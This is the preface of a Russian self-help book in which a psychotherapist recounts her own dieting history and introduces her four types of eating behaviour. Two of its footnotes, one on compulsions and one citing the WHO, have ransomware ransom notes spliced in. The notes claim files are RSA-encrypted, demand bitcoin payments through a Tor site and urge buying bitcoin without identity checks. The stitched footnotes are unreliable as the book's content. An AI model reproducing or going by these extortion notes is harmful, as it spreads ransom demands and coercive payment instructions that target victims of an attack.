Анастасия Томилова
Почему я не худею: Дело не в диете, дело — в голове
От автора
Меня зовут Анастасия. Я психолог, психотерапевт. Моя книга — о том, что мешает людям избавиться от лишнего веса и как это можно исправить.
Я выросла в семье, где желание похудеть было неотъемлемой частью представлений о женственности. Женщины в нашей семье никогда не ужинали, потому что мама строго придерживалась одной из заповедей похудения — не есть после шести.
Когда лет в 13 я впервые начала целенаправленно худеть, то в школе все, от одноклассников и их родителей до учителей, хвалили меня и восхищались не только моей красотой, но и силой воли. Для застенчивой и неуверенной в себе девочки это было так важно, что у меня в голове прочно засело: похудеешь — получишь любовь. До сих пор удивляюсь моей вере в возможность стать любимой, лишь решив проблему лишнего веса.
Борьба с ним стала моим образом жизни. Но сбросить лишние килограммы раз и навсегда не получалось. К 20 годам я перепробовала великое множество диет не по одному разу, но набирала вес снова и снова. Уже во время учебы на психологическом факультете я вдруг осознала, что попытки похудеть не помогают мне завоевать любовь, а только приносят страдания и избыточный вес. У меня закралось подозрение в том, что дело не только в моем безволии. Что-то еще заставляет меня опять и опять наедать потерянные было килограммы. И я захотела разобраться в своей проблеме.
Тогда было совсем немного информации на русском языке по психологии питания и снижения веса. Я упорно собирала знания по крупицам. О булимии и анорексии кое-что писали, но было совершенно непонятно, что и где искать про «синдром хронического похудения», как я его тогда назвала. Впрочем, кто ищет, тот находит. Я наткнулась на понятие «компульсивное [Компульсии (лат. compello — принуждаю). 1. Навязчивые влечения, разновидность навязчивых явлений (обсессий). Характерны непреодолимые влечения, возникающие вопреки разуму, воле, чувствам. Нередко они оказываются неприемлемыми для больного, противоречат его морально-этическим свойствам. В отличие от импульсивных влечений К. не реализуются. Эти влечения осознаются больным как неправильные и тягостно им переживаются, тем более что само возникновение их в силу своей непонятности часто порождает у больного чувство страха. 2. Термин К. используется и в более широком смысле для обозначения любых навязчивостей в двигательной сфере, в том числе и навязчивых ритуалов. — Толковый словарь психиатрических терминов И. В. Крук и В. М. Блейхера. — Воронеж: НПО «МОДЭК», 1995. // Все ваши файлы зашифрованы с помощью алгоритма RSA-2048 — см. «RSA-шифрование» в поиске Google. // #Как восстановить файлы? // RSA — это асимметричный криптографический алгоритм. Вам нужен один ключ для зашифровки и другой ключ для расшифровки. // Это значит, что для восстановления файлов вам нужен закрытый ключ. // Без закрытого ключа восстановить файлы невозможно. // #Как получить закрытый ключ? // Чтобы получить закрытый ключ, выполните три простых шага. // Шаг 1: отправьте нам 1,7 биткойна за каждый пораженный компьютер или 28 биткойнов за все пораженные компьютеры. // Шаг 2: после того как вы отправите нам 1,7 биткойна, оставьте на нашем сайте комментарий с вашим именем хоста. // * Ваш хост … // Шаг 3: в ответ мы вышлем вам программу дешифрования. Вам нужно будет запустить ее на пораженном компьютере, и все зашифрованные файлы будут восстановлены. // Наш сайт: … // Наш биткойн-кошелек: … // (Если вы отправите нам 28 биткойнов за все пораженные компьютеры, оставьте на сайте комментарий «За все пораженные компьютеры».) // (Также вы можете отправить нам 14 биткойнов, получить 14 ключей (случайным образом), а после проверки доплатить, чтобы получить оставшиеся ключи.) // Как попасть на наш сайт? // Чтобы зайти на наш сайт, вы должны установить браузер TOR и ввести в нем адрес нашего сайта. // Загрузить браузер TOR можно по ссылке … // См. также в Google «Как открывать onion-сайты». // #Тестовое дешифрование // Вы можете скачать с нашего сайта два зашифрованных файла, и мы расшифруем их для вас. // #Где купить биткойн // Мы советуем покупать биткойны за наличные или через Western Union у …, потому что они не требуют проверки и высылают биткойны быстро. // #Крайний срок // Если в течение семи дней вы не отправите нам биткойны, мы удалим ваши закрытые ключи и файлы будет невозможно восстановить.] переедание»: мои отношения с пищей вполне подходили под это определение. И, изучив вопрос, убедилась, что была права. За поглощением чрезмерного количества еды стоят серьезные психологические проблемы, а не «слабость характера» и не «отсутствие силы воли» (как любят говорить мои клиенты).
Чтобы разобраться в этих проблемах, я читала книги и статьи о психологии питания, о проблемах переедания и лишнего веса. В литературе я выискивала способы борьбы с перееданием, которые на себе же и проверяла. Самое важное — я перестала сидеть на диетах! Мне удалось слезть с этих «американских горок»: поправилась — похудела — поправилась.
Оказалось, дело не столько в силе воли, сколько в специальных диетах для похудения: они-то в первую очередь и провоцируют переедание. Некоторое время спустя после отказа от диет мой вес был уже вполне нормальным и, главное, стабильным: за три года я снизила вес с 90 килограммов до 64. Знакомые удивлялись, расспрашивали, как мне это удалось. И я честно отвечала, что перестала сидеть на диетах и начала ходить на психотерапию.
К тому времени мне стало очевидно, что переедала я не только из-за диет (и голода), но и из-за эмоций — когда переставала с ними справляться.
Я набирала знания и опыт в вопросах коррекции веса и параллельно заканчивала обучение психотерапии, все больше убеждаясь, что лишний вес и психологические проблемы тесно взаимосвязаны. Набравшись знаний, я помогла себе самой и некоторое время спустя поняла, что, в дополнение к академической подготовке, достаточно хорошо систематизировала собственный опыт. Вскоре я начала консультировать клиентов с лишним весом и пищевыми проблемами как психотерапевт. Постепенно вокруг «хронического стремления похудеть» выстроилась вся моя практика.
Сейчас у меня за спиной два десятилетия работы с пищевыми расстройствами и проблемами похудения. Для меня очевидно, что лишний вес — всегда следствие двух факторов: диеты и эмоциональных проблем. Согласно статистике, у большинства людей с лишним весом наблюдается алиментарное, то есть вызванное перееданием, ожирение. Как утверждает Всемирная организация здравоохранения, «основная причина ожирения и избыточного веса — энергетический дисбаланс, при котором калорийность рациона превышает энергетические потребности организма» [https://www.who.int/ru/news-room/fact-sheets/detail/obesity-and-overweight. // Все файлы на каждом хосте сети зашифрованы с помощью надежного алгоритма. // Резервные копии либо зашифрованы или удалены, либо отформатированы диски резервных копий. // У нас есть уникальное программное обеспечение для расшифровки ваших файлов. // Не перезагружайте и не выключайте компьютер — это может повредить файлы. // Не переименовывайте зашифрованные файлы или файлы readme. // Не перемещайте зашифрованные файлы или файлы readme. // Не удаляйте файлы readme. // Это может привести к тому, что определенные файлы будет невозможно восстановить. // Чтобы получить информацию об оплате расшифровки ваших файлов, свяжитесь с нами по адресу: … // Кошелек BTC: … // Чтобы убедиться в наших честных намерениях: // отправьте два разных случайных файла и получите их расшифровку. // Чтобы убедиться в том, что мы все расшифруем, вы можете отправить файлы с разных компьютеров вашей сети. // Оба файла должны иметь расширение. LOCK. Мы разблокируем два файла бесплатно.]. Снижение веса — непростая задача: переедание в подавляющем большинстве случаев «лечат» тем, что его сформировало, то есть диетой. И это порочный круг, который нужно разорвать во что бы то ни стало.
Я хочу, чтобы люди получали квалифицированную помощь, осознавали опасность диет и не пытались лечить нанесенный ими вред новыми ограничениями в еде. Для этого я учу студентов (я соавтор соответствующего учебника) и провожу психологические конференции.
За годы работы у меня были тысячи клиентов. Их жалобы, на первый взгляд, были очень похожи: «Я прекрасно знаю, что нужно, чтобы похудеть, но ничего не могу сделать!» Но за одними и теми же словами стоят совершенно разные «нужно», «должна» и «не могу»: каждый случай уникален, за каждым случаем — своя история страданий по поводу лишнего веса и неудачных попыток его снижения.
Лет десять назад мы с коллегой разрабатывали программу для студентов-психологов: я отвечала за тему переедания. Мне предстояло систематизировать и свои собственные знания, и истории клиентов.
Несмотря на почти одинаковые запросы, ситуации разнились типологически: в историях отдельных групп клиентов было и нечто общее, объединяющее, что позволило мне распределить людей по четырем типам пищевого поведения.
Эта типология оказалась применимой на практике и очень удобной. А главное — полезной не только психологам, но и тем, кто обращался за помощью. Когда человек наконец понимает, что его проблема не только и не столько в «безволии», это меняет и терапию. Мы уже не просто работаем с проблемой переедания, но копаем глубже: исследуем психологические корни расстройств пищевого поведения, развиваем умение прислушиваться к своим чувствам, заботиться о себе; ищем ответ на вопрос: зачем худеть?
Эта книга поможет тем, кто страдает от пищевой зависимости и озабочен своим лишним весом, разобраться в себе и найти истинные причины переедания и других расстройств. А главное — понять, что делать дальше.
Универсального ответа на этот вопрос — «Почему у меня не получается похудеть?» — не существует, потому что и причины появления лишнего веса, и модели пищевого поведения у каждого свои. Но каждый из четырех описанных в книге типов — это обобщенный портрет с набором похожих психологических причин переедания и установок, определенным пищевым поведением, типичным отношением к еде. И читатель, узнав себя в одном из этих портретов, сможет понять, какие рекомендации подходят именно ему.
Если окажется, что у вас имеются признаки разных типов, — ничего страшного. В подробных описаниях есть все, чтобы вы смогли определить свой тип; понять, откуда взялся ваш лишний вес и какие психологические особенности мешают похудеть именно вам. Для каждого типа книга предлагает свои стратегии работы, подробные рекомендации и психологические упражнения, благодаря чему каждый сможет составить личный план решения проблемы лишнего веса.
Эта книга предназначена и для женщин, и для мужчин. Я работаю в основном с женщинами, и у меня достаточно эмпирических данных именно о женщинах, но для мужчин все истины (кроме тех, что оговорены отдельно), которым посвящена книга, тоже подходят, так что пусть мужчин-читателей не смущает женский род в примерах.
